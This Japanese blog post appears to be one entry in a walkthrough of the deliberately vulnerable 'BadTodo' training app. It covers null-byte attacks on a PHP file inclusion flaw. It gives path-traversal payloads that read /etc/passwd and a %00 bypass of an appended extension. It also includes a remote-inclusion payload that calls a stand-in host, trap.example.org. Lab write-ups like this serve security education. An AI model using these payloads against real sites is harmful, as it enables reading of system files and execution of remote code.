前回:やられアプリ BadTodo - 24 適切でないアップロートファイル制限 - demandosigno
Todoリストを「完了」にしたり「削除」や「エクスポート」する際に走るリクエストhttps://todo.example.jp/editlist.php
にはprocess
というパラメータがありますが、これにファイルインクルードの脆弱性があります。
ここでは「完了」ボタンで試します。BurpSuiteのインターセプトをONにしてから「完了」をクリックし、POSTパラメータをprocess=../../../../../etc/passwd
と書き換え送信します。参考 : BadTodo - 7 リモート・ファイルインクルード(RFI)
この結果は"require(../../../../../etc/passwd.php): failed to open stream"というエラーになりました。ファイル名がpasswd.php
となっています。どうやら入力値の後ろに.phpを付加する仕様のようです。この拡張子がなければいけるかもしれません。
そこで次はprocess=../../../../../etc/passwd%00
のように%00を追記して送信します。
/etc/passwd が表示されました。
エラーメッセージが表示された際に require() と記述がある通り、ここでは require 関数が使われています。require() は include() とほぼ同じで指定されたパスからファイルを読み込みます。
PHPの allow_url_include 設定が有効化(On)されている場合、ローカルなパス名の代わりにURLを用いて読み込むファイルを指定することが可能です。
PHP: require - Manual
PHP: include - Manual
そして require() はバイナリセーフではない関数です。PHPはC言語から直接輸入された関数も多いのですが、C言語には「\0」「\x00」「%00」を文字列の終端とみなす取り決めがあります。「%00」は値ゼロのバイトすなわちヌルバイトです。バイナリセーフではない関数はヌルバイトを終端として取り扱います。このためPHPスクリプト側で付加している「.php」という拡張子が無効になり/etc/passwd
が表示されます。
PHPでバイナリセーフではない関数をまとめた。 - Security Record
逆にバイナリセーフの関数はこういった制御文字をきちんと処理するため「\0」「\x00」「%00」などが挿入されていても終端として取り扱いません。
NULLバイト攻撃は単独で攻撃が成立する例はまれで、通常は他の脆弱性の対策をかいくぐるために悪用されます。
リモートファイルインクルード
上でも書きましたが allow_url_include 設定がONのためリモートのファイルインクルードも同様に可能です。
process=http://trap.example.org/dump.php%00
で送信。
参考情報
basename関数はバイナリセーフになることで逆にNULLバイト攻撃ができるようになった、というのは以下のようなケースです
— 徳丸 浩 (@ockeghem) January 8, 2021
readfile(basename($_GET['f']) . ".txt");
readfileとbasenameの両方がバイナリセーフでない状態はむしろ安全でした。片方だけバイナリセーフになると危険ということです https://t.co/9FfiZwOn13
次回:やられアプリ BadTodo - 25.2 NULLバイト攻撃(+SQLインジェクション) - demandosigno